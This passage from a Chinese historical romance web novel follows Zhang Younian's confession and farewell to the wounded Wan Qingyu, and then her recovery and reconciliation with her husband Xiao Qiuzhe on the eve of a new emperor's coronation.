张攸年心知自己命不久矣,横竖都是要死的人,倒不如在临死前为晚青妤做些什么。若是留着萧家这两个兄弟,待萧秋折坐上太子后,也难保不会再生夺嫡之祸。到那时,受苦的终究还是晚青妤。 “萧秋折下不了这个狠心……”他喃喃自语,只听一声响,手中匕首已然刺入萧絮腹中,“那就让我来帮他做。” “絮儿,絮儿。”江侧妃眼见两个儿子接连死在眼前,整个人如疯似癫,“你这个畜生,我做鬼也不会放过你。” 张攸年面无表情地收起匕首,对亲卫冷声道:“将这两具尸首埋了。其余人送到岭南去,永世不得回京。” 手下得令,揪起还在哭喊的江侧妃。 张攸年待手下将人拖走后,翻身上马,向村子赶去。 他急匆匆赶至村中,寻得一处医馆,得知晚青妤就在此处疗伤。他腰间旧伤隐隐作痛,却顾不得许多,径直奔向晚青妤所居医房。只见房门紧闭,药童拦道:“公子且慢,那位姑娘伤势不轻,医师正在为她拔箭疗伤,您待会再进去。” “她伤势如何?可有大碍?”张攸年急声问。 药童回道:“才见她进来时,虽伤得重,但未及心脉,应无性命之忧。” 张攸年低应一声,松了口气,在廊下踱步,他额间沁出细密汗珠,衣衫上血迹斑驳,腿上几处伤口犹自渗血,却浑然不觉。这几日朝堂剧变,生死一线,而今方悟世间诸事,强求不得。 情之一字,尤难左右。 他亲眼见过两年前付钰书为爱痴狂的模样,亦目睹两年后那人因爱成疯,竟至伤及心上之人。而今却因他之过,连累晚青妤重伤若此,几近殒命。 六月暑气正盛,庭中古木葱郁,却驱不散他心头焦灼。微风过处,只将那血腥气搅得更浓。 屋内,医师汗湿重衫。他一手持药纱按在晚青妤背后伤处,一手握住没入肌骨的箭矢。抬眼看向紧抱女子的萧秋折,但见他面色惨白,颊边泪痕与血渍交错,一双赤目死死盯着怀中几近昏迷的人儿,连眉头都不敢稍动。 “会有些疼,抱紧她。”医师沉声道。 萧秋折微微颔首。他身经百战,箭伤刀伤不计其数,却从未见过一个女子受这般重伤。那箭镞入肉三分,该是何等钻心之痛?他忧心晚青妤承受不住,正自思量间,忽觉怀中人儿猛地一颤,医师已发力拔出箭矢。 晚青妤闷哼一声,霎时软倒在萧秋折怀中。她面色惨白如纸,唇泛青紫,冷汗浸透衣衫,连呼吸都微弱得几不可闻。 萧秋折紧握她冰凉的手,随着那支血箭“铛”地落入铜盆,只觉心口如遭重击,热泪夺眶而出。 医师急以烈酒清洗伤口,又以桑皮线细细缝合,最后敷上金疮药,缠好素绢。幸而存有些许麻沸散,虽不能尽除痛楚,到底缓了几分苦楚。 待处置完毕,医师拭汗道:“姑娘元气大伤,需即刻服药调养。你好生看顾,老夫现在就去给她熬药。” 萧秋折喉头滚动,却只挤出几声哽咽。医师匆匆推门而出,恰被守在廊下的张攸年拦住。 “医师,她”张攸年声音发颤,衣上血痕犹未干涸。 老医师打量他周身伤痕,温声道:“公子宽心,箭已取出,虽伤及肺腑,幸未损心脉。只是失血过多,需好生将养。” 医师又见他袖口渗血,叹道:“我看公子伤势亦不轻,可要先行包扎?这伤若耽搁久了,别再发炎了。” 晚青妤未有性命之忧。 张攸年闻言,心头巨石方落,眼眶霎时泛了红。他长舒一口气,随医师前去疗伤。 换药时,医师一边为他清理伤口,一边叹道:“我不知诸位从何处来,但看你与屋内那位公子,皆伤痕累累。那位公子胸前背后多处创口,却只顾守着那位姑娘,连伤都顾不上治。他可是你的朋友?待我为你包扎妥当,你且去唤他过来。这性命攸关之事,耽搁不得。” 朋友。 银针穿皮而过,张攸年紧咬牙关,强忍酸楚,默了片刻回道:“好,我稍后叫他。” 说起“朋友”二字,于他重若千钧。 晚青妤温婉,付钰书清冷,陆临跳脱,晚清禾敦厚。犹记那年春深,晚青禾还和手把手教他临帖。晚青桁则总跟在他身后,脆生生唤着“攸年哥哥”。 最是陆临顽劣,曾在外祖母院中的枣树上蹿下跳,不慎跌断腿骨,疼得直哭。至于付钰书思及此处,他心头微窒。那人白衣胜雪的身影在记忆中忽明忽暗,其中纠葛,竟难以言说。 付钰书生来便是金尊玉贵的公子,锦衣玉食,从未受过半分委屈。他确曾待他亲厚,或许真心视作知己。然他自幼生于微末,心性渐生偏执,竟起了争胜之心。 他渴慕那些触不可及的荣华,妄想成为付钰书那般人物。直至今日方才顿悟,那些珠玉锦绣不过是过眼云烟,而少年时共同的欢乐,才是难得珍贵。 晚青妤,那个总在阳光下笑得灿烂的人儿,会毫无保留地将满目韶光都赠予站在阴暗处的他。 正是因着她和那些伙伴,让他方知,这世间既有风雨阴晴,亦有光华灼灼。 可叹流光易逝,故人零落。晚青尧英年早逝,晚青禾形销骨立,付钰书家业倾颓生死不知,而今连晚青妤也身受重伤。 思及此,他只觉喉间发苦。人生恰如明镜,心若蒙尘,照见的自是扭曲形貌。 医师包扎完毕,他走青妤房前伫立良久,方才轻叩门扉。听得屋内萧秋折沙哑应声,这才推门而入。 甫一进门,浓重的血腥气便扑面而来,但见晚青妤伏卧榻上。 萧秋折坐在床畔,十指紧扣晚青妤的手,听得门响,转过头来,而后眉心微蹙,旋即转回,目光依旧落在晚青妤苍白的面容上。 张攸年缓步近前,见晚青妤昏迷不醒,心口如遭芒刺,眼底霎时泛起热意。 房间里一阵寂静。 “疼的昏了过去,还好没有伤及要害。”萧秋折嗓音沙哑地开口。 张攸年低应,见萧秋折遍体鳞伤,青衫尽为血浸,面上血汗涔涔,竟分不清哪些是泪。他喉头滚动,动了动唇:“你的伤很严重,先去包扎。” 萧秋折闻言没有立即回应,房间里安静了一会,他这才缓缓起身向门外走去。 张攸年不便打扰晚青妤,跟出了房间,把房门关上。 萧秋折先去医治伤口,回来后见张攸年仍伫立门前。 他走上前正欲推门,张攸年突然道:“此番祸事,皆因我鬼迷心窍所致。你那两位弟弟我已处置,再无人能阻你今后之路。待王爷登基,你便是东宫太子。届时我自会认罪伏诛,只道兄弟阋墙与你无干。” 说到此处,他低头默了一瞬,再开口嗓音低沉:“萧秋折,愿你今后好生对待青妤,也……祝你们白首偕老。” 白头偕老,四字出口,心如刀绞。 曾经没有人知晓,他张攸年也曾将一片痴心暗许,却一直不敢 言。看尽王孙公子献殷勤、赠珠玉,而他连为她买盒胭脂的银钱都没有。 旁人唾手可得的,他耗尽十年心血才勉强触及。到头来,终究是襄王有梦,神女无心。 纵使他褪去寒衣换上锦袍,在她眼里,怕还不如当年那个躲在廊下偷看的少年。 原来情之一字,最是不讲道理。不是够努力就能得到,就像再亮的烛火,也照不进合上的眼帘。 直至此刻,他才幡然醒悟。 他错了。 夏木葱茏,风过叶动,日影斑驳,摇曳一地碎光。 萧秋折听完这番话,静默无言,只推门而入,将张攸年一人留在门外。他想,若张攸年尚存一丝清明,便该明白,世间诸事,尤其是情,绝非强求可得。付钰书的前车之鉴,他未曾参透,偏要亲身历劫,方知痛彻心扉。 萧秋折回房后,坐于床前,紧握晚青妤的手,寸步不离。他守了一夜,未曾合眼,直至翌日晌午,晚青妤才悠悠转醒。 她饮了药,气色稍复,抬眸见萧秋折,泪水倏然滚落。唇瓣微颤,却未能发出一语。 萧秋折与她四目相对,见她落泪,亦不由眼眶一热,泪水潸然。 二人相顾无言,却胜过千言万语。 这一日,对萧秋折而言,如历劫难。可也让他终于明白,晚青妤对他的爱,竟如此深沉。 前些日子,他因她不肯言一句“我爱你”,便赌气三日不归。而今才知,她爱他至深,甚至愿为他赴死。 她向来坚韧,默默承受着一切。十七岁时,本可与心上人相守,却因家族变故,被迫因利益与他成婚。婚后未享一日夫妻之乐,便独居山中,两年间因下人克扣银钱,日子清苦。而后父亲与长兄相继离世,二哥又遭横祸,险些葬身火海。她在亲王府的这段日子,也未曾享过一日安乐。 她未曾因他得过半分快乐,反倒因他受尽磋磨,她被祖母逼着延嗣承祧,终日惶惑于茫不可知的将来。为他担惊受怕,却被太后威逼和离。更因自己未明身世,连一句“我爱你”都不敢宣之于口。 这般煎熬,何尝不是钝刀割肉般的痛楚? 而今细想,他只觉亏欠她太多。为夫者,未能护她周全,未予她安稳喜乐,反倒在他最危难时,得她以命相护。 这一箭,原该是他的劫数,她却毫不犹豫地替他挡下。这般情深义重,怕是穷尽此生都难偿还。 二人泪眼相望,珠泪浸透锦衾。萧秋折见她伏在枕上无声落泪,终是再难自持,竟哭出了声。 自母亲去世后,他再未这般失态。当年是因永失至亲,而今却是后怕,怕极了眼前这人也会永远离开他。 晚青妤勉力抬手,指尖轻抚他湿透的面颊:“别哭了,我不是好好在这儿么?” 她气若游丝,却仍弯了弯唇角:“萧秋折,你这一生,太苦了。所有的劫难,原都是有定数的。前日我还梦到一位鹤发仙翁,他说你命中有几大劫难,但若有人替你挡过,此后便都是康庄大道了。以前种种劫难,你皆一一熬过。此番,我来替你挡下,相信再也不会发生了。” 也幸好,她活了下来。 她一字一句落在他心里,都让他心疼不已,她掌心早已濡湿,却仍勉力举给他看:“别再落泪了,你看我的手都湿了。” 她劝着他,自己的眼泪却止不住地流。 他抓住她的手,颔首难言。心中虽有万语千言,却觉字字皆不足以表此刻心情。 他哭了好久才渐渐止住哽咽,而后小心翼翼将她扶起,让她趴在自己怀中。 “青妤,都过去了。那些荆棘难走的路都走过来了,我们终于可以好好过日子了。” 张攸年又让人寻来几位医师,为晚青妤悉心调理伤势。众人在这医馆将养三日,待她伤情稍稳,方准备启程返京。 临行前,晚青妤把张攸年叫到了房间。 这些时日,张攸年始终守在门外日夜不离。此刻她说要见他,反生踌躇。 他进了房间,只见晚青妤伏卧榻上。她闻声抬眸看他,他与她对视一瞬,仓皇垂首,竟不敢直视。 他缓步走上前,在距榻三步处驻足。但见她虽气色稍复,身形却消瘦得惊人,纤指交叠置于锦衾之上,连抬首都显吃力。 “坐罢。我有话与你说说。”晚青妤道。 张攸年默然片刻,扯了把椅子坐下。坐下后,恰能与她平视。他看她一眼,便又垂眸。 他数日未进滴水,看上去形销骨立,眸中光华尽失,身上衣衫仍是血迹斑斑。 屋中寂静了好一会。 张攸年再次抬眸看她,终是轻声问道:“还疼得厉害么?” 他很担心她。 晚青妤苍白的唇边浮起一丝苦笑:“好多了。” 她原有许多话要问,此刻人就在眼前,却不知从何说起。 又一阵沉默后,张攸年无意识地攥着袖口,问她:“可要喝水?” “不喝。”晚青妤回道,然后很认真地看向他,“张攸年,有些事,我想听听你的实话。” 到了这般地步,她想问个明白。 张攸年似乎猜出她想问什么,他那双布满血丝的眼里,盛满了说不尽的疲惫与哀恸。 晚青妤问道:“言书堂出事,以及那场火,可是与你有干系?我二哥,是不是你设计陷害的?” 从前她从未怀疑过他,可近来种种,却叫她不得不重新审视这个总叫人捉摸不透的男子。 张攸年眸光微凝,口中苦涩,认真地回道:“青妤,我以性命起誓,我从未加害过你二哥。言书堂之事,实乃付家老爷所为。” “当初,付家书库出事,付老爷欲在京城另觅宝地重建。此番他野心勃勃,不仅要建一座前所未有的书库,更想借此与翰林院攀上关系。言书堂,便是他觉得只好的宝地。且你二哥在翰林院任职,屡次阻他往翰林院安插人手。他便起了杀心,先是构陷,后又寻到我。” “他许我官职,诱我同谋。可我素来厌恶付家,更不屑与付钰书为伍,便断然回绝。言书堂起火那日,我并未去表兄家,而是被付老爷带到一处别院。他假意为我疗伤,实则想逼我出面诬告你二哥。可我虽非君子,却也知恩图报。你二哥待我如手足,我岂能出卖他。” 张攸年眸色渐深:“后来我暗中搜集付家构陷言书堂、纵火谋害你二哥的罪证。待证据确凿,便呈递御前。陛下查证后虽震怒,却未立即发落付家。皇家权衡之术,终究要以朝局为重。皇上为堵我之口,又见我尚堪一用,便将我安插入吏部。” “那时吏部尚书乃是皇后母族之人,陛下早欲除之。待我查出其贪墨渎职之罪,陛下便顺势擢我为吏部尚书,让我官居二品。” 说到此处,他忽然低笑出声,笑声里透着苍凉:“如今想来当真可笑。我以性命相搏,一步一血印挣来的前程,不及帝王一念之间的权衡。” “人生来便分贵贱,从前我总怨天道不公。一身才学无处施展,满腹韬略无人赏识。后来陛下许我前程,我便昏了头,只道是二十载寒窗终得报偿。” “后来,皇上又许我锦绣前程,命我接近萧亲王,蛊其谋逆。我原以为,待事成之日,便可平步青云,谁知攻城那日,皇上竟紧闭宫门,箭雨火石齐发,要将我们这些棋子与叛贼,尽数埋葬。” 他依旧记得那一刻,皇上站在城楼上,看着他,如同看着一只挣扎的蝼蚁。 他说到这里,沉默了许久。晚青妤始终安静地听着。 过了半晌,他才又开口道:“关于萧秋折的身世,其实京城中那些流言蜚语并非我所安排。是江侧妃想借机将萧秋折赶出亲王府。王爷此战若胜,便可登基为帝,萧秋折便是太子。只要证明萧秋折并非王爷亲生,太子之位就会落在她儿子身上。所以她四处散布谣言,想毁了萧秋折。” “那日,你突然找上门来,抬手便是一记耳光。我当时怔住了,可望着你满眼的怒火与哀伤,又觉得情有可原。只是我亦明白,你对我向来心存芥蒂。纵使我百般解释,你也听不进去。你定是觉得,我对你的心意是假的,想与你相守也是假的,唯有踩着旁人往上爬才是真的。” “晚青妤,你可还记得我们幼时那桩旧事?那年乔府丢了一件贵重物件,阖府上下翻了个底朝天也寻不见。众人却都将目光落在我身上,硬是将我带到祠堂前跪着,逼问我将东西藏在了何处。我哭着辩解,甚至磕破了头,可谁肯信我?在大家眼里,我不过是个穷苦的下人,做出偷盗之事再寻常不过。” “但是我没有偷,我在乔家这些年,从未起过半。分贪念。当时,即便我额头磕得鲜血淋漓,也没人相信。就连父亲都来逼问我。他怕极了,若坐实了这罪名, 我们父子便要被逐出乔府,又要流落街头。我说我没偷,他便当众狠狠责打我。众人见我宁死不肯认,这才作罢。” “后来过了半年,那物件忽然找到了。但是当时没有人替我说过一句话,也没有人向我道过一声歉,这事便这般轻飘飘地揭过了。可于我而言,这却是天大的冤屈,是刻进骨子里的羞辱。这顶偷儿的帽子扣在我头上,任我如何辩白都无人肯听,而原因竟是,只因我出身微贱,只因我是乔家的下人。” 他这一生走来,历经种种坎坷,无论是生计、尊严还是情爱,竟无一样顺遂。 说到此处,他的声音已然哽咽。晚青妤听着,眼眶也渐渐红了。此刻她才恍然,并非张攸年太过莫测难懂,而是自己从一开始就对他心存偏见,始终带着有色眼光看他,甚至认定他的好、他的情意、他的爱慕,统统都是假的,不过是他攀附权贵的垫脚石罢了。 张攸年将往事尽数道出,心中郁结总算舒解几分。即便如此,他仍无把握晚青妤会信他这番话。可既已说出口,至少不必再憋闷着,也不必至死都带着这份委屈。 晚青妤将脸颊轻贴在手背上,泪眼盈盈地望着他。终是轻声道:“张攸年,对不起,是我们错怪你了,真的对不起。” 她竟向他道歉。 张攸年听得这句,鼻尖一酸,眼中顿时蓄满泪水。他慌忙低下头,嘴角扯出一抹苦涩的笑:“道什么歉,都过去了。该赔罪的是我,若不是我痴心妄想,轻信皇上蛊惑,妄图借机铲除亲王府来换与你相守的机会,你也不会受这般重的伤,终究是我错了,合该付出代价。” 他一只手攥住腿边的衣袍,喉间哽咽得几乎说不出话来:“只是青妤,我活不成了。但有些真心话,我定要告诉你。我对你的好,对你的情意,从来都是真心的。我也想给你买最甜的糕点,也想日日瞧见你在我身边笑,可似乎从我出生那日起,便没了这个资格。” “我喜欢你,是真心实意的喜欢。无论你如何看我,至少,给我留一分爱情的尊严。” 他真心实意的感情,也希望她能在意。 他话至此,已是语不成声。他起身背对着她:“青妤,想来今生再不能为你买那些甜糕了。但愿来世,我的命数能好些,还能再遇见你。” “若萧秋折将来承继大统,以你的聪慧,定能辅佐得当。萧秋折爱得光明,比我们任何人都配得上与你相守一生。” 是的,只有健康的爱情才会开花结果。 二十几年来,纵使儿时受了屈辱,也未曾像今天这样难受过。 但是又能如何呢?一切都晚了,也都过去了。 甚至,他那份不够体面的爱,也必须在此刻停止了。 他不等她回话,便向门外走去。 “张攸年。”晚青妤望着他的背影,急急唤他,“张攸年,我始终当你是朋友,自儿时便是,也从未轻看过你。” 他脚步微滞。 朋友。 有这句话已经足够了。 张攸年离开了,后来,晚青妤再也没有见过他。 晚青妤身体好了一些后,萧秋折便带着她回了京城。 如今的京城已不是当初的京城,两日后新皇登基,也将会立新的太子。 而晚青妤的身世,也将会揭开。 第72章 第72章“要是动作和幅度小点,…… 王朝骤变,无论黎民百姓还是朝堂众臣,皆猝不及防。唯独萧敖对此早有筹谋。战事方定,他便以雷霆之势整肃宫闱,召集文武百官,推行新政。但凡有违逆者,轻则革职流放,重则下狱问罪。那些蛰伏多年的能臣干吏,纷纷被擢拔重用。 萧敖虽多年远离朝堂,然治国之才未减分毫。他深谙乱世用重典之理,不过多日便将动荡的朝局稳住。 而正当他着手准备登基大典时,却惊闻两个儿子惨遭毒手,而凶手竟是张攸年。这对于萧敖来说乃是沉重打击。纵使二子才具平庸,终究是亲生骨血。 他当即遣精锐捉拿张攸年,誓要将其碎尸万段。 萧秋折那日将两个弟弟交予张攸年时,便已料到这般结局。他并非心狠手辣之辈,只是这两个弟弟要置他于死地,若不除之,日后必成大患。这般借他人之手除却心头大患,既全了手足之名,又免了弑弟之嫌。 萧秋折将两位弟弟交到张攸年手中时,张攸年便立即明白,若要保萧秋折与晚青妤日后安稳,这后患必须由他来除。 那日在山林中的变故,萧秋折早已将消息封锁得滴水不漏。萧敖至今只知晚青妤是在萧秋折追捕张攸年时为他挡箭,才身受重伤。 这般情形下有人顶罪,纵使萧敖心有疑虑,此事也只能就此作罢。 —— 晚青妤回京后返回亲王府,萧秋折则严令府中众人不得擅自出入,在这新帝登基前的紧要关头,任何风吹草动都可能影响大局。如今整个亲王府皆由萧秋折执掌,无人敢有异议。 太妃虽痛失两位孙儿,但想到儿子即将登基为帝,自己也将贵为太后,心中倒也得了些许慰藉。 回府后,萧秋折即刻召集太医为晚青妤诊治。 当晚青妤再度踏入兰风居时,心境已与往日大不相同。 这日天色晴好,玉儿轻手轻脚地在房中忙碌。她先将窗户推开半扇,又将房中的花植悉数撤去,生怕花粉影响晚青妤养伤。连香炉都被挪了出去,但凡觉得不利伤势之物,皆被她收拾得干干净净。 玉儿是看着自家小姐一路走来的,虽心疼她受伤,但想到她与姑爷终于苦尽甘来,又不禁替他们欢喜。 “玉儿,萧秋折去哪了?”晚青妤伏在锦衾间轻声问道。 玉儿忙将书本放回案几,转身走到榻前回话:“回小姐,姑爷去宫里了。明日便是册封大典,这两日实在脱不开身。临行前千叮咛万嘱咐,要奴婢好生照料您。” 晚青妤气色虽好转了些,可伤口仍疼得厉害,稍一动弹便冷汗涔涔。经此生死劫难,她恨不能时时刻刻看着萧秋折,片刻不见便心绪不宁。许是怕极了再出变故,更怕再见不到他。 玉儿见她仍郁闷,温声劝道:“小姐且歇会儿,方于已经去请夫人了。待夫人来府小住几日,有娘亲陪着,您心情定会好些。” 晚青妤本不欲将受伤之事告知娘亲,生怕她忧心。如今既已惊动娘亲,反倒盼着她能早些过来相伴。 玉儿将房中收拾妥当后,又端来汤药伺候晚青妤服下。这宫里的太医果然医术高明,汤药入腹不久,晚青妤便觉伤口处隐隐发烫,竟能感知到血肉在渐渐愈合。 药碗刚搁下,管家便匆匆来报:“少夫人,四夫人那位表兄已经寻着了,眼下师傅正押着他候在外头。” 晚青妤此刻不便见客,更不好让人进房,便对玉儿道:“你且去瞧瞧,将事情问个明白再来回我。” 她又对管家吩咐:“你去四夫人院里盯着些。” 管家领命而去,玉儿也心领神会地出了门。 约莫过了一个时辰,玉儿才回来复命。 晚青妤问道:“怎的去了这么久?” 玉儿气鼓鼓地回道:“那表兄嘴硬得很,奴婢起初好言相问,他竟蛮不讲理。后来方齐回来了,奴婢就让他动了手,这才老老实实招了。说是当初确实领了一百两银子送人上山,可这厮起了贪念,又不敢独吞,便勾结了四夫人。两人狼狈为奸,生生克扣下五十两银子,全拿去花天酒地了。” 说到此处,玉儿压低声音:“听说这两人还有染呢!” “后来那五十两银子送出去后,中间又被层层克扣,到我们手里竟只剩十两了。说来也是我们太过糊涂,若是当时稍加留心,或许早就能发现端倪。可整整两年光景,我们竟毫无察觉。” “方才方齐同我说,其实姑爷当初派了人在山中守着,原是要护我们周全的。可这些人在山上待得久了,渐渐起了异心。有人暗中贿赂他们,他们便对差事越发懈怠。我们在山间无论是住得艰难,还是遭遇什么事,他们都瞒着不报。每次向姑爷回话,只说我们过得安稳,村里日子顺遂。姑爷这两年来,竟也被蒙在鼓里。再加上,您每次见他总是避着,两人鲜少交谈,这事倒也怨不得姑爷。” 晚青妤听完,轻叹道:“我怎会怪他?我知他从来不是那样的人。只是那时在山中住得惯了,整日浑浑噩噩的,只觉得过一日算一日。如今回想起来,那样的日子虽平静,却少了最珍贵的东西。” 那便是两心相知的真情。 如今,她越发觉得身边人的可贵。 她道:“四夫人 这事,我不好擅自处置。待王爷回府,你带着那表兄将事情原原本本禀明,王爷自有决断。” 玉儿应了声,又道:“小姐,该用午膳了,奴婢这就去吩咐厨房准备。” 玉儿刚要出门,却见乔夫人匆匆赶来。乔言一进门瞧见女儿趴在床上的模样,顿时落下泪来。 玉儿连忙劝道:“夫人切莫伤心,小姐伤势无碍,太医说静养些时日便好。您既来了,不如留下用膳,也好陪小姐说说话。” 乔言应下,玉儿便退出去张罗。 乔言走到床前,握着女儿苍白的手,泪如雨下:“妤儿,都怪娘没本事护着你,这伤可还疼得厉害?” 晚青妤见母亲落泪,眼眶也跟着红了,却强笑道:“娘别担心,太医用了止疼药,这会儿不觉着疼。您瞧我说话中气十足的,只是这些日子没好好用膳,才显得憔悴。在府上将养几日就好了。” 晚青妤又问道:“对了,二哥和四弟可好?” 乔妍回道:“你二哥听说你受伤,执意要来看你,只是他腿脚不便,我没让他折腾。你四弟今儿一早就随秋折进宫了,眼下宫里正忙着,待他回来,我让他来瞧你。” 晚青妤点点头。母亲又问起她如何受的伤,她便拣着能说的,将事情缓缓道来。当提到张攸年时,乔言沉默一会,眼中浮起一丝怅然:“那孩子” 她想起当年那个总是低着头的少年,每次她回外乔家,他都会恭恭敬敬地行礼问安。长大后,他待人温和,跟着晚青禾读书时也格外勤勉,对晚府一家人更是敬重有加。这次晚青禾蒙冤,还是他帮着洗清了罪名。 “其实那孩子本性不坏。”乔言轻叹道,“只是太过在意自己的出身,终究钻了牛角尖。青妤,娘说句心里话,这世上无论是谁,只要捧出过真心,那份情意都该被尊重。幸好你们最后把话说开了,但愿他往后能想通,好好过自己的日子。” 晚青妤垂眸。 好好过日子,他怕是不能了。 以萧敖的性子,丧子之痛,怎会放过他? 晚青妤轻叹了口气,没再言语。乔言见她神色倦怠,便陪着她说了会儿话,待她趴着睡下后,自己仍坐在床头守着。 午膳还未备好,萧秋折便匆匆赶了回来。他一进兰风居便径直去了寝房。 乔言看到他,起身轻唤了声:“秋折。” 萧秋折上前,先向她郑重行了一礼,而后目光落在晚青妤的脸上,低声问道:“岳母,青妤今日可好些?可曾发热?” 乔言温声道:“太医处置得当,未曾发热,这会儿睡得正熟。待午膳备好再唤她起身。” 她看了眼萧秋折风尘仆仆的模样,问道:“宫里事务繁忙,怎的这时回来了?” 萧秋折的视线仍凝在晚青妤脸上,声音放得极轻:“放心不下,回来看看。用过膳便回去。” 乔夫人闻言,心中甚慰。如今朝堂动荡,他竟还能抽空回府探望,足见情深。 乔言轻声道:“我去瞧瞧午膳可备好了,你在这陪她一会。” 萧秋折点头应下。待乔言退出房门后,他走到床前,伸手探了探晚青妤的额温,又将她微凉的小手握在掌心,静静凝视着她睡觉的样子。 许是感受到他掌心的温度,晚青妤眼睫轻颤,缓缓睁开双眸。见是他,眸中闪过一丝讶异:“这个时辰,你怎么回来了?” 萧秋折小心扶她靠在自己肩头,温声道:“心里总记挂着你,便回来看看。今日伤口可还疼得厉害?若实在难忍,我让太医再换副药。” 他说着将她冰凉的手拢在掌心:“陆临去塞北寻特效药了,那边药材见效快些。你且再忍一日,明日便能取回。” 晚青妤闻言轻声道:“塞北路远,怎好劳烦陆临专程跑一趟?我多将养些时日便好了。” 萧秋折抚了抚她的发,道:“他此番回塞北,也是为答谢外祖父。此次能调动塞北兵马取胜,多亏陆临与他外祖父鼎力相助。待我忙完这阵,也要亲自去谢恩。” 晚青妤点头:“确实该好好谢他。” 她轻轻从萧秋折怀中直起身,抬手抚上他消瘦的脸颊,心疼道:“你身上也有伤,这些日子清减了许多。用膳时多用些,好好将养才是。” 她自己尚带着伤,却仍惦记着他。萧秋折望进她清澈的眸子,双手捧住她的脸,喉间忽的哽住,眼眶又红了。 自她受伤那日起,他每每看着她,心口便酸胀难言。那句“我爱你,我可以为你去死”时时萦绕心头,让他后怕不已。如今恨不能时时刻刻守着她,稍一错眼便忧心忡忡,生怕再有什么闪失。 晚青妤眼尾也跟着泛红,忽的向前倾身,一双手攀上他的肩头,仰起脸便吻上了他的唇。 这突如其来的亲近让萧秋折浑身一僵,待反应过来,才小心翼翼地捧住她的脸,极轻地回吻了一下。 念及她伤势未愈,他连呼吸都放得极轻,生怕牵扯到她的伤口,只浅浅一触便要退开。 “别。”晚青妤却揪住他的衣领往跟前带,声音里带着几分委屈,“都好些天没亲亲了。” 许是受伤后心绪脆弱,她此刻格外贪恋他的温度,恨不能时时刻刻黏在他身上。 萧秋折见她这般,既心疼又情动,只得重新捧住她的脸,轻轻覆上那微凉的唇瓣。 细细算来,这些日子忙于攻城,确实许久未曾好好温存。 他亲着亲着,原本克制的吻渐渐深了几分。待他喘息着要退开时,却被她攥着衣襟不肯松手。 “当心伤口。”他轻哄道,却见她水润的眸子直勾勾望着自己,到底没舍得真推开,只将人往怀里带了带,避开伤处虚虚环着,“那,亲一会。” 晚青妤虽气息尚弱,吻起来却格外执着,勾着他的脖颈不肯松手。直到她亲够了,这才依依不舍地放开。 萧秋折早已被她撩得浑身燥热,可顾及她的伤势,只得强自按捺。 晚青妤动了动身子想躺下,萧秋折忙扶着她趴在自己腿上。 室内 静谧片刻,萧秋折轻声道:“皇上已被囚禁,若取血” “萧秋折。”晚青妤打断他,指尖紧紧攥住他的衣袖,“是不是皇族血脉,我们有没有亲缘关系,我都不在意了。我只想与你在一处。” 经此生死劫难,她再不是从前那个畏首畏尾的性子。险些阴阳两隔的恐惧,让她彻底抛开了所有顾虑。 她仰起脸,眸中漾着温柔:“待我伤好些,我们要个孩子可好?不论男女,我都喜欢。名字我都想好了。日后,你若做了太子,我们搬去东宫住。我会好好辅佐你,也会照顾好我们的孩儿。等政务不忙时,我们就去游山玩水。” “你信上说,要背我去沅山看桃花的。还要带我尝遍天下美食,我已经等不及了。” 萧秋折没想到她竟能全然放下身世之虑。半晌才温声道:“放心,待诸事平定,我定带你去。” 晚青妤轻轻“嗯”了一声,嘿嘿一笑道:“也不知饭可备好了,我有些饿。” “我去看看。”萧秋折小心将她安置在榻上,起身去厨房查看。 不多时,他端着食案回来,先盛了碗温热的米粥,坐在榻边将她扶起,一勺勺仔细喂着。 晚青妤喝着喝着,抿唇一笑。 萧秋折问道:“笑什么?” “夫君喂的粥,太甜了。” 甜到心坎里了。 萧秋折心头也跟着一软,指腹擦过她唇角:“那往后我常喂你。” “嗯。”晚青妤连连点头。 待她用好膳,萧秋折匆匆用了些饭菜便赶回宫中。 其实那日太医为晚青妤诊治时,萧秋折已留了血样,无论将来是否要验亲,他都不愿再让她受半分取血之痛。现在取血验亲很简单,可他心底却莫名生出几分踌躇。真相,竟让他有些不敢触碰。 待萧秋折离去后,晚青妤与母亲说了会体己话,又小憩片刻。傍晚时分,太妃竟亲自来探。这是太妃头第一次来看她,且看向她的目光复杂难辨。 “身子可好些了?”太妃在床前坐下,语气不似往日凌厉。 晚青妤记得上次相见时的不愉快,轻声道:“回祖母的话,孙媳好多了,伤处已不太疼。劳祖母挂念。” 这一声“祖母”唤得婉转,太妃神色柔和下来。她听闻晚青妤是为救萧秋折才挡下那一剑,这是拿命在护着她的孙儿。 她轻叹道:“你好生将养。明日便是登基大典,秋折即太子位,你便是太子妃了。你往后要有太子妃的体统。至于子嗣,我也不再强求,你们顺其自然便是。秋折那孩子倔,日后他若不肯纳侧,我也不会插手。” 晚青妤闻言心中又惊又喜,急忙道:“多谢祖母,孙媳定当尽心辅佐秋折。” 她略作迟疑又道:“对了,盈妹妹那边,还望祖母多宽慰些。往后孙媳也会将她当作亲妹照拂。” 提及江侧妃那边的事,太妃眼中闪过痛色,终是叹道:“人死不能复生,我已安抚过她了。那孩子如今孤苦无依,你日后多照应些。” 说完她说着起身道:“你好生歇着,我先回了。” “好的祖母,孙媳记下了,待身子好些,再去给您奉茶。” 晚间,萧秋折匆匆回府,连膳都未用便净了手,直奔内室。他见晚青妤精神较日间更好,还说背上伤口隐隐发痒,显是在愈合,这才放下心来。 晚青妤让他先去用膳沐浴,他听话地照做,待匆匆用过晚膳,沐浴更衣后回到房中。 烛光下只见晚青妤眉眼含笑地看着他。 暑气正盛,他沐浴后只着了件淡青纱衫,衣带松松系着,湿发垂落肩头。 他扯了布巾擦着头发,晚青妤则趴在锦衾间,看着他笑道:“我家夫君怎生得这般好看,样貌好看,身量也好,连肌肤都是好的。” 她夸人时总是很认真,声音也很温柔。 萧秋折听着,耳尖倏地烧红,他急匆匆把头发擦干走到床边坐下。 晚青妤拽着他衣袖道:“我背上痒得厉害,你帮我瞧瞧可好?” “太医说过,伤口愈合时发痒是常理。”萧秋折小心扶她趴在自己腿上,“纱布不能随意拆,不然我帮你挠挠。” “好。”晚青妤把脸贴在他大腿上。 萧秋折轻轻解开她的外衫,只见一片莹白肌肤瞬时映入眼帘。淡粉肚兜系带下,纤细的腰肢煞是好看。 他望着,晃了一下神,手悬在半空没再动。 “右边痒。”晚青妤软声催他。 他回过神,指尖极轻地落在纱布边缘,轻轻地帮她挠着。 烛火摇曳间,他的脖颈已经一片红透。 晚青妤原本安安静静地趴在他腿上,忽觉脸侧触感微妙起来。 她眨了眨眼,无意识地蹭了蹭,却听萧秋折陡然道:“别动,我……” 他话未说完便顿住,只余一张脸涨得通红,呼了口气,强装镇定地问她:“哪里还痒么?” 